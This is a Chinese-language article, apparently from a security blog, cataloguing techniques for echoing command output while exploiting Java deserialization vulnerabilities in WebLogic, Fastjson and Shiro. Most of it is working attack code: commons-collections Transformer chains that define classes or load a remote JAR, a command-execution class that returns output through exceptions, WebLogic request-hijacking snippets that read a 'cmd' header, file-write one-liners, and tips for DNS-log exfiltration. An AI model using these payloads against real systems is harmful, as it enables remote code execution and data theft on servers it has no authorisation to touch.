Java 反序列化回显的多种姿势
字数 849 2025-08-20 18:18:05
Java反序列化回显技术全面解析
写在文前
本文全面探讨Java反序列化漏洞中的回显技术,总结了多种实现方式,适用于weblogic、fastjson、shiro等反序列化漏洞场景。
defineClass技术
defineClass是ClassLoader类的核心方法,用于通过字节码定义类。
实现原理
public class MyClassLoader extends ClassLoader {
private static String myClassName = "com.test.ClassLoader.HelloWorld";
private static byte[] bs = new byte[]{...}; // 类字节码
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
if (name == myClassName) {
return defineClass(myClassName, bs, 0, bs.length);
}
return super.findClass(name);
}
}
使用方式
- 继承
ClassLoader类 - 重写
findClass方法 - 在方法中调用
defineClass加载恶意类 - 通过反射调用类方法
RMI绑定实例回显
利用commons-collections反射调用defineClass,通过RMI实现回显。
关键代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{className, classBytes}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{null}}),
new ConstantTransformer(new HashSet())
};
实现步骤
- 定义恶意命令执行类,继承
Remote接口 - 使用CC链反射调用
defineClass - 将类对象绑定到RMI服务
- 通过JNDI调用获取回显
URLClassLoader异常回显
通过将回显结果封装到异常信息中抛出。
命令执行类
public class ProcessExec {
public ProcessExec(String cmd) throws Exception {
InputStream stream = new ProcessBuilder("cmd.exe", "/c", cmd).start().getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(stream, "gbk"));
StringBuffer buffer = new StringBuffer();
String line;
while((line = reader.readLine()) != null) {
buffer.append(line).append("\n");
}
throw new Exception(buffer.toString());
}
}
使用方式
- 将类打包为JAR文件
- 使用URLClassLoader加载
- 通过CC链反射调用
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(URLClassLoader.class),
new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{URL[].class}}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1/p.jar")}}}),
new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"ProcessExec"}),
new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{"ipconfig"}})
};
中间件回显技术
Tomcat回显方法
- 基于内存Webshell:动态注册Filter实现回显
- 文件操作符写入:将结果写入文件描述符
- 线程上下文获取:通过
Thread.currentThread().getContextClassLoader()获取request/response - Register获取:直接从Register获取process对应的request
Weblogic回显代码
Weblogic 10.3.6
String cmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("cmd");
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(new weblogic.xml.util.StringInputStream(cmd));
outputStream.flush();
Weblogic 12.1.3
Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork());
httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream("result"));
文件写入回显
Linux实现
cd $(find -name "test.html" -type f -exec dirname {} \; | sed 1q) && echo `id` > 1.txt
Windows PowerShell实现
$file = Get-ChildItem -Path . -Filter test.html -recurse -ErrorAction SilentlyContinue
$f = -Join($file.DirectoryName,"/a.txt")
echo 222 | Out-File $f
DNSLOG回显
使用技巧:
- 使用PowerShell或base64编码命令,避免特殊字符问题
- 选择小众DNSLOG平台提高成功率